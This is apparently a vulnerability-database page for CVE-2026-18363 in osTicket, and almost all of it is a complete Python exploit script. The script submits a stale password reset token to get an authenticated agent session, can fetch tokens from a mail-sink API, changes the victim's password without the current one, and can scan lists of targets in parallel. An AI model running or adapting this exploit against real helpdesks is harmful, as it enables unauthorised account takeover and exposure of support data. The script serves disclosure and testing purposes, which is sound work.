📄 osTicket 1.18.3 Authentication Bypass Account Takeover
| Reporter | Title | Published | Views | Family All 8 |
|---|---|---|---|---|
| CVE-2026-18363 | 30 Jul 202610:35 | – | attackerkb | |
| CVE-2026-18363 | 30 Jul 202611:24 | – | circl | |
| CVE-2026-18363 | 30 Jul 202610:35 | – | cve | |
| CVE-2026-18363 Weak password recovery mechanism in osTicket by Enhancesoft LLC | 30 Jul 202610:35 | – | cvelist | |
| EUVD-2026-51068 | 30 Jul 202610:35 | – | euvd | |
| CVE-2026-18363 | 30 Jul 202611:16 | – | nvd | |
| PT-2026-66451 | 30 Jul 202600:00 | – | ptsecurity | |
| CVE-2026-18363 Weak password recovery mechanism in osTicket by Enhancesoft LLC | 30 Jul 202610:35 | – | vulnrichment |
#!/usr/bin/env python3
"""
CVE-2026-18363 - osTicket accepts password reset tokens forever (CWE-640)
Affected: osTicket < 1.17.8 and 1.18.0 <= version < 1.18.4
Type: Authentication bypass / account takeover
The password reset expiry gate in PasswordResetTokenBackend::signOn()
(include/class.auth.php) is written as
elseif (!($ts = $_config->lastModified($_POST['token']))
&& ($ost->getConfig()->getPwResetWindow() < (time() - strtotime($ts))))
The age comparison is guarded by `&&` behind "the token has no timestamp", so it
only runs for tokens that do not exist. For every real token the condition short
circuits to false and the token is accepted no matter how old it is. Nothing else
enforces the window on a default install: the sweeper that deletes stale rows,
Cron::CleanPwResets(), is only reachable from an externally scheduled Cron::run(),
and enable_auto_cron ships as 0. An old reset token therefore stays valid forever.
Given a reset token issued for the victim at any point in the past, this script
POSTs it to /scp/pwreset.php and receives a live authenticated agent session. The
follow-on password change does not ask for the current password (osTicket drops
that field while a reset token is on the session), so the account can be seized
permanently with --new-password.
The token is the one precondition and it has to be obtained out of band, exactly
as the CVE describes: a leaked or archived mailbox, a forwarded reset mail, a mail
gateway log, browser history on a shared machine. Pass it with --token. Where you
do have read access to the mail sink, --mail-api can pull it from a Mailpit or
MailHog JSON API for you.
Usage:
python exploit.py --host 192.168.1.10 --username admin --token <48-char token>
python exploit.py --host https://helpdesk.corp.com --username admin \
--token <token> --new-password 'Pwn3d-By-1dayexploit!2026'
python exploit.py --host http://10.0.0.5:8080/support --username admin --token <token>
python exploit.py --host 10.0.0.5 --username admin --request-reset \
--mail-api http://10.0.0.5:8025 --wait 90
python exploit.py --list targets.txt --username admin --token <token> --workers 20
"""
import argparse
import re
import sys
import time
from urllib.parse import urlparse
import requests
CVE_ID = "CVE-2026-18363"
VULN_TYPE = "Auth Bypass"
DEFAULT_PORT = 80
DEFAULT_UA = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0 Safari/537.36"
CSRF_RE = re.compile(r'__CSRFToken__["\']?\s+value=["\']([^"\']+)["\']')
# Misc::randCode() draws from [a-zA-Z0-9_=], so '_' and '=' are common in tokens.
TOKEN_RE = re.compile(r'token=([A-Za-z0-9_=]{48})')
STAFF_ID_RE = re.compile(r'staff/(\d+)/change-password')
# Markers that only appear once the session is an authenticated agent session.
AUTH_MARKERS = ("logout.php", "Agent Panel", "profile.php", "dashboard.php")
def header(host: str, port: int) -> None:
print(f"\n{'='*60}")
print(f" ALIM EXPLOIT {CVE_ID}")
print(f" Type: {VULN_TYPE} | Target: {host}:{port}")
print(f"{'='*60}\n")
def step(n: int, msg: str) -> None:
print(f"[STEP {n}] {msg}")
def section(label: str, content: str) -> None:
print(f"\n--- {label} ---")
print(str(content).strip())
print("---\n")
def done(success: bool, evidence: str) -> None:
print(f"\n{'='*60}")
print(f" RESULT : {'SUCCESS' if success else 'FAILURE'}")
print(f" EVIDENCE: {evidence}")
print(f"{'='*60}\n")
sys.exit(0 if success else 1)
# ----------------------------------------------------------------- helpers
def _base_url(host: str, port: int, use_tls: bool, path: str) -> str:
scheme = "https" if use_tls else "http"
netloc = host
if not (use_tls and port == 443) and not (not use_tls and port == 80):
netloc = f"{host}:{port}"
prefix = (path or "/").rstrip("/")
return f"{scheme}://{netloc}{prefix}"
def _new_session(timeout: int) -> requests.Session:
s = requests.Session()
s.headers.update({"User-Agent": DEFAULT_UA})
s.verify = False
s.request_timeout = timeout
return s
def _csrf(html: str):
m = CSRF_RE.search(html)
return m.group(1) if m else None
def _bootstrap(session, base: str, timeout: int, token: str = None):
"""GET the reset page: establishes OSTSESSID and yields a fresh CSRF token."""
url = f"{base}/scp/pwreset.php"
if token:
url += f"?token={token}"
r = session.get(url, timeout=timeout, allow_redirects=False)
return r, _csrf(r.text)
def _request_reset(session, base: str, csrf: str, username: str, timeout: int):
"""Unauthenticated do=sendmail. Mints a fresh pwreset row for the victim."""
return session.post(
f"{base}/scp/pwreset.php",
data={"__CSRFToken__": csrf, "do": "sendmail", "userid": username},
timeout=timeout,
allow_redirects=False,
)
def _token_from_mail(mail_api: str, victim: str, timeout: int, attempts: int = 20):
"""
Pull the newest reset mail from a Mailpit (or MailHog v2) JSON API and pick the
48 char token out of the reset link. This stands in for the out of band mailbox
access the CVE presumes; it is not part of the vulnerability.
"""
base = mail_api.rstrip("/")
for _ in range(attempts):
for listing, detail in (
("/api/v1/messages", "/api/v1/message/{id}"),
("/api/v2/messages", None),
):
try:
r = requests.get(base + listing, timeout=timeout)
if r.status_code != 200:
continue
data = r.json()
except Exception:
continue
items = data.get("messages") or data.get("items") or []
for item in items:
body = ""
mid = item.get("ID") or item.get("Id") or item.get("ID".lower())
if detail and mid:
try:
d = requests.get(base + detail.format(id=mid), timeout=timeout)
if d.status_code == 200:
j = d.json()
body = (j.get("Text") or "") + (j.get("HTML") or "")
except Exception:
body = ""
if not body:
body = str(item)
m = TOKEN_RE.search(body)
if m:
return m.group(1)
time.sleep(3)
return None
def _sign_on(session, base: str, csrf: str, token: str, username: str, timeout: int):
"""
The vulnerability. POST the reset token with do=newpasswd. On a vulnerable
build signOn() returns the StaffSession regardless of the token's age and the
server answers 302 -> index.php with the cookie jar upgraded to an
authenticated agent session. A patched build re-renders the form with 200.
"""
return session.post(
f"{base}/scp/pwreset.php",
data={
"__CSRFToken__": csrf,
"do": "newpasswd",
"token": token,
"userid": username,
},
timeout=timeout,
allow_redirects=False,
)
def _accepted(resp) -> bool:
"""Token accepted == 302 redirect into the staff control panel."""
loc = resp.headers.get("Location", "")
return resp.status_code == 302 and "index.php" in loc
def _rejection_detail(resp) -> str:
"""
Explain a non-302 answer. osTicket declares signOn($errors=array()), so $errors is
taken by value and the 'Invalid reset token' string it sets is thrown away before
the page renders: on a rejection the <h3> comes back empty. The status code is the
only usable signal, which is why _accepted() keys on it rather than on page text.
"""
body = resp.text
h3 = re.search(r"<h3[^>]*>([^<]*)</h3>", body)
banner = (h3.group(1).strip() if h3 else "")
reform = 'name="do" value="newpasswd"' in body
return (
f"HTTP {resp.status_code}, no Location header.\n"
f"page is the reset form again : {reform}\n"
f"error banner (<h3>) : {banner or '(empty - osTicket discards $errors here, expected)'}\n"
f"A patched build lands exactly here: signOn() returned null, the session was not\n"
f"upgraded, and pwreset.login.php was re-rendered with HTTP 200."
)
def _authenticated_body(session, base: str, timeout: int):
"""Fetch the SCP landing page and report whether it is a logged-in view."""
r = session.get(f"{base}/scp/index.php", timeout=timeout, allow_redirects=True)
body = r.text
ok = any(marker in body for marker in AUTH_MARKERS) and "pwreset.php" not in body[:800]
return r, body, ok
# ------------------------------------------------------------- scan support
def _try_exploit(host: str, port: int, use_tls: bool, path: str = "/",
token: str = None, username: str = "admin",
timeout: int = 20) -> tuple:
"""Silent probe for --list scan mode. Returns (success, evidence). Never prints or exits."""
if not token:
return False, "no --token supplied (a reset token is required)"
base = _base_url(host, port, use_tls, path)
try:
session = _new_session(timeout)
_, csrf = _bootstrap(session, base, timeout, token=token)
if not csrf:
return False, "no CSRF token in response (not osTicket, or wrong path)"
resp = _sign_on(session, base, csrf, token, username, timeout)
if not _accepted(resp):
return False, f"reset token rejected (HTTP {resp.status_code}) - patched or token/userid mismatch"
_, _, authed = _authenticated_body(session, base, timeout)
if not authed:
return False, "302 received but SCP page is not authenticated"
return True, f"authenticated as '{username}' with a stale reset token"
except requests.exceptions.RequestException as e:
return False, f"unreachable ({e.__class__.__name__})"
except Exception as e:
return False, f"error ({e.__class__.__name__})"
def _parse_target(line: str, default_port: int, default_path: str = "/"):
"""One target line -> (host, port, use_tls, path), or None to skip."""
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file: str, default_port: int, workers: int = 10,
token: str = None, username: str = "admin", timeout: int = 20) -> None:
"""Batch scan from file."""
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port) for l in f]
targets = [t for t in targets if t is not None]
print(f"\n{'='*60}")
print(f" {CVE_ID} - Batch Scan ({len(targets)} targets, {workers} workers)")
print(f"{'='*60}\n")
if not token:
print(" [!] --list needs --token: the reset token is the precondition of this CVE")
print(" and it belongs to one specific account on one specific helpdesk.\n")
success_count = 0
def probe(t):
host, port, use_tls, path = t
label = f"{'https' if use_tls else 'http'}://{host}:{port}"
ok, evidence = _try_exploit(host, port, use_tls, path, token, username, timeout)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(f" {'[+]' if ok else '[-]'} {label} - {'Exploited' if ok else 'Not vulnerable'}: {evidence}")
if ok:
success_count += 1
total = len(targets)
print(f"\n{'='*60}")
print(f" SCAN COMPLETE {success_count} exploited / {total - success_count} not vulnerable ({total} total)")
print(f"{'='*60}\n")
sys.exit(0 if success_count > 0 else 1)
# ---------------------------------------------------------------- exploit
def exploit(host, port, use_tls, path, username, token, wait, request_reset,
mail_api, new_password, staff_id, timeout):
header(host, port)
base = _base_url(host, port, use_tls, path)
session = _new_session(timeout)
n = 0
n += 1
step(n, f"Bootstrapping a session at {base}/scp/pwreset.php")
r, csrf = _bootstrap(session, base, timeout)
if r.status_code != 200 or not csrf:
section("SERVER RESPONSE", f"HTTP {r.status_code}\n{r.text[:500]}")
done(False, f"No osTicket reset form at {base}/scp/pwreset.php (HTTP {r.status_code})")
sid = session.cookies.get("OSTSESSID", "")
print(f" OSTSESSID={sid} __CSRFToken__={csrf}")
issued_at = None
if request_reset:
n += 1
step(n, f"Requesting a password reset for '{username}' (unauthenticated, do=sendmail)")
rr = _request_reset(session, base, csrf, username, timeout)
issued_at = time.time()
print(f" HTTP {rr.status_code} - the response is identical for valid and "
f"invalid accounts, so it proves nothing on its own")
if not token:
if not mail_api:
done(False, "No --token given. Supply the victim's reset token, or use "
"--request-reset with --mail-api if you can read the mail sink.")
n += 1
step(n, f"Retrieving the reset token from the mail sink at {mail_api}")
token = _token_from_mail(mail_api, username, timeout)
if not token:
done(False, f"No reset token found in the mailbox at {mail_api}")
print(f" token={token}")
if wait > 0:
n += 1
step(n, f"Waiting {wait}s so the token ages out of the reset window")
print(f" token issued : {time.strftime('%Y-%m-%dT%H:%M:%SZ', time.gmtime(issued_at or time.time()))}")
time.sleep(wait)
print(f" token used at : {time.strftime('%Y-%m-%dT%H:%M:%SZ', time.gmtime())}"
f" ({wait}s later - past the default 30 minute window on a lab-shortened install)")
# Only a run that actually waited out the window demonstrates the expiry bypass.
# A --wait 0 run is the control: a fresh token is accepted by patched builds too.
if wait > 0:
aged = f"a reset token used {wait}s after it was issued"
stale = "stale token"
else:
aged = "a reset token of unasserted age"
stale = "token"
n += 1
step(n, f"Loading the reset form with the {stale} to pick up a matching CSRF value")
r2, csrf2 = _bootstrap(session, base, timeout, token=token)
if not csrf2:
section("SERVER RESPONSE", f"HTTP {r2.status_code}\n{r2.text[:500]}")
done(False, "Reset form did not return a CSRF token")
n += 1
step(n, f"Submitting the {stale} as '{username}' (do=newpasswd) - this is the bug")
resp = _sign_on(session, base, csrf2, token, username, timeout)
loc = resp.headers.get("Location", "")
section("SIGN-ON RESPONSE", f"HTTP {resp.status_code}\nLocation: {loc or '(none)'}")
if not _accepted(resp):
section("SERVER RESPONSE", _rejection_detail(resp))
done(False, f"Stale token rejected (HTTP {resp.status_code}) - target is patched, "
f"or the token does not belong to '{username}'")
n += 1
step(n, "Following the redirect into the staff control panel")
r3, body, authed = _authenticated_body(session, base, timeout)
if not authed:
section("SCP RESPONSE", body[:600])
done(False, "Redirect received but the SCP page is not an authenticated view")
who = re.search(r"<strong[^>]*>\s*([^<]{2,60})</strong>", body)
section("AUTHENTICATED SCP PAGE",
f"HTTP {r3.status_code} {r3.url}\n"
f"session cookie: OSTSESSID={session.cookies.get('OSTSESSID','')}\n"
f"logged in as : {who.group(1).strip() if who else username}\n"
f"auth markers : {[m for m in AUTH_MARKERS if m in body]}")
if not new_password:
done(True, f"Authenticated as agent '{username}' with {aged} - 302 to index.php "
f"and a live SCP session (no credentials used)")
if not staff_id:
m = STAFF_ID_RE.search(body)
staff_id = int(m.group(1)) if m else None
if not staff_id:
done(True, f"Authenticated as agent '{username}' with {aged}, but could not "
f"determine the staff id for the password change (pass --staff-id)")
n += 1
step(n, f"Seizing the account: setting a new password for staff id {staff_id}")
csrf3 = _csrf(body) or csrf2
# The session carries _SESSION['_staff']['reset-token'], so osTicket drops the
# 'current' field from the password form. The victim's password is not needed.
cp = session.post(
f"{base}/scp/ajax.php/staff/{staff_id}/change-password",
data={"__CSRFToken__": csrf3, "passwd1": new_password, "passwd2": new_password},
headers={"X-Requested-With": "XMLHttpRequest", "Referer": f"{base}/scp/index.php"},
timeout=timeout,
allow_redirects=False,
)
section("PASSWORD CHANGE RESPONSE", f"HTTP {cp.status_code}\n{cp.text[:400]}")
if cp.status_code not in (200, 201):
done(True, f"Authenticated as agent '{username}' with {aged}; the password change "
f"returned HTTP {cp.status_code} (password policy?)")
n += 1
step(n, "Proving persistence: fresh cookie jar, normal login with the new password")
fresh = _new_session(timeout)
lr = fresh.get(f"{base}/scp/login.php", timeout=timeout)
lcsrf = _csrf(lr.text)
li = fresh.post(
f"{base}/scp/login.php",
data={"__CSRFToken__": lcsrf, "do": "scplogin", "userid": username, "passwd": new_password},
timeout=timeout,
allow_redirects=False,
)
section("INDEPENDENT LOGIN",
f"HTTP {li.status_code}\nLocation: {li.headers.get('Location','(none)')}\n"
f"credentials: {username} / {new_password}")
if li.status_code == 302 and "login.php" not in li.headers.get("Location", ""):
done(True, f"Account takeover complete - agent '{username}' seized with {aged}; "
f"independent login with '{new_password}' returns 302 to "
f"{li.headers.get('Location')}")
done(True, f"Authenticated as agent '{username}' with {aged}; the new password did "
f"not authenticate independently (HTTP {li.status_code})")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC - osTicket expired password reset token")
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host/support)")
target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=DEFAULT_PORT, help="Default port (default: 80)")
parser.add_argument("--username", default="admin",
help="Victim agent username or email to authenticate as (default: admin)")
parser.add_argument("--token", default=None,
help="Password reset token issued for the victim (48 chars, obtained out of band)")
parser.add_argument("--wait", type=int, default=0,
help="Seconds to wait before using the token, to prove it is expired (default: 0)")
parser.add_argument("--request-reset", action="store_true",
help="First mint a fresh reset token via the unauthenticated do=sendmail form")
parser.add_argument("--mail-api", default=None,
help="Mailpit/MailHog base URL to read the reset mail from (e.g. http://host:8025)")
parser.add_argument("--new-password", default=None,
help="Set this password on the victim account to make the takeover permanent")
parser.add_argument("--staff-id", type=int, default=None,
help="Victim staff id for the password change (auto-detected if omitted)")
parser.add_argument("--timeout", type=int, default=20, help="HTTP timeout in seconds (default: 20)")
parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
try:
requests.packages.urllib3.disable_warnings()
except Exception:
pass
if args.list:
scan(args.list, default_port=args.port, workers=args.workers,
token=args.token, username=args.username, timeout=args.timeout)
else:
parsed = _parse_target(args.host, args.port)
host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
exploit(host, port, use_tls, path, args.username, args.token, args.wait,
args.request_reset, args.mail_api, args.new_password, args.staff_id,
args.timeout)Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
03 Aug 2026 00:00Current
5.5Medium risk
Vulners AI Score5.5
CVSS 49.1
EPSS0.00298
SSVC